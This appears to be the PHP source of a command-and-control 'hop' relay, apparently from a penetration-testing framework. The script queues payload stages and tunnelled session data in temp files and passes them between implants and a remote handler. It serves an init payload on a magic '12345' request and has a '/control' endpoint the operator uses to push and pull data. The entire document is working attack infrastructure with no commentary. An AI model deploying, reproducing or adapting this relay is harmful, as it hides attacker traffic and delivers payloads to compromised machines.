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<?php
$magic = 'TzGq';
$tempdir = sys_get_temp_dir() . "/hop" . $magic;
if(!is_dir($tempdir)){
mkdir($tempdir); //make sure it's there
}
//get url
$url = $_SERVER["QUERY_STRING"];
//like /path/hop.php?/uRIcksm_lOnGidENTifIEr
//Looks for a file with a name or contents prefix, if found, send it and deletes it
function findSendDelete($tempdir, $prefix, $one=true){
if($dh = opendir($tempdir)){
while(($file = readdir($dh)) !== false){
if(strpos($file, $prefix) !== 0){
continue;
}
readfile($tempdir."/".$file);
unlink($tempdir."/".$file);
if($one){
break;
}
}
}
}
//handle control
if($url === "/control"){
if($_SERVER['REQUEST_METHOD'] === 'POST'){
//handle data for payload - save in a "down" file or the "init" file
$postdata = file_get_contents("php://input");
if(array_key_exists('HTTP_X_INIT', $_SERVER)){
$f = fopen($tempdir."/init", "w"); //only one init file
}else{
$prefix = "down_" . sha1($_SERVER['HTTP_X_URLFRAG']);
$f = fopen(tempnam($tempdir,$prefix), "w");
}
fwrite($f, $postdata);
fclose($f);
}else{
findSendDelete($tempdir, "up_", false);
}
}else if($_SERVER['REQUEST_METHOD'] === 'POST'){
//get data
$postdata = file_get_contents("php://input");
//See if we should send anything down
if($postdata === "RECV\x00" || $postdata === "RECV"){
findSendDelete($tempdir, "down_" . sha1($url));
$fname = $tempdir . "/up_recv_" . sha1($url); //Only keep one RECV poll
}else{
$fname = tempnam($tempdir, "up_"); //actual data gets its own filename
}
//find free and write new file
$f = fopen($fname, "w");
fwrite($f, $magic);
//Little-endian pack length and data
$urlen = strlen($url);
fwrite($f, pack('V', $urlen));
fwrite($f, $url);
$postdatalen = strlen($postdata);
fwrite($f, pack('V', $postdatalen));
fwrite($f, $postdata);
fclose($f);
//Initial query will be a GET and have a 12345 in it
}else if(strpos($url, "12345") !== FALSE){
readfile($tempdir."/init");
}